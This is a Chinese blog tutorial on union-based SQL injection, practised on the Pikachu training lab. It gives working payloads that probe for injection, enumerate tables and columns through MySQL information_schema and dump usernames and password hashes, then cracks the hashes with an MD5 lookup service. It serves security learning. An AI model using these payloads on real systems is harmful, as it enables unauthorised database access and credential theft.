Information_Schema注入

Information_Schema注入
information_schema简单介绍:
打开MySQL数据库——在第二行mysql>处输入show databases(查看在MySQL上的数据库)——在第二行mysql>输入use information_schema;——进入之后在第四行mysql>输入show tables(查看该数据库的表格)——在第三行mysql>输入desc tables(查看该表格字段,查看其数据库的对应的表的名称、类型、默认引擎等等)——第三行mysql>输入desc COLUMNS——(与查看表类数据库的名称,以及表相关列的信息通过columns的表来进行相关的记录)

Xxxx%’ or1=1 #
xx型测试:
= (’’)
xx’) or 1=1 #

演示
#获取表名:
select id,email from member. where username = ‘kobe’ union select table_ schema, table_ name from
information schema. tables where table_ schema=‘pikachu’ ;(通过该操作查看pikachu数据库有多少张表以及表的名称是什么)
操作:
在MySQL数据库的第七行mysql>输入use pikachu(使用pikachu的数据库)——第五行mysql>将select id,email from member. where username = ‘kobe’ union select table_ schema, table_ name from
information schema. tables where table_ schema=‘pikachu’ ;输入(查看表的名称)【通过联合查询跨数据库到information_schema的tables表格获取相关信息的操作】!

实际操作
在pikachu中SQL-inject字符型注入中输入“’”字符——查看返回界面确认存在注入——确认其为字符型注入——再在字符型注入查询栏输入kobe’or 1=1#点击提交查询变例出数据——继续获取其基础信息,查询栏输入kobe’ order by 数字#查询字段信息——确认存在字段继续联合查询——(首先确认其数据库名称)——查询栏输入kobe’ union select database(),user()#查找到该数据库名称输入'得到的返回查询结果
变例出相关数据
确认存在字段
获取表格相关信息
找到数据库名称

进行联合查询
#获取字段名:
select id,email from member where. username =. ’ kobe’ union select table_ name,column_ name from
information_schema. columns where table_name= ‘users’;
test payload:
kobe" union select table_name, column_name from Information. schema. columns where table_name= ‘users’#
#获取内容
select id,email from member where username = ‘kobe’ union select username, password from users;
test. payload:
kobe’ union select username, password from users#

操作:
将“kobe’ union select table_schema, table_name from information_schema. tables where table_schema=‘pikachu’#;”放入pikachu字符型注入查询栏——得到pikachu所有表的名称——查询表的clumn表里的字段输入:‘kobe’ union select table_name, column_name from information_schema. columns where table_name=‘users’# ;得到相关字段名称username名称及e-mail名称——查询栏再次输入kobe’ union select username, password from users#——得到username以及用户加密邮箱密码——将该加密邮箱用md5解密CMD5解密得到密码。
得到username和邮箱加密密码信息
加密密码查询结果

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值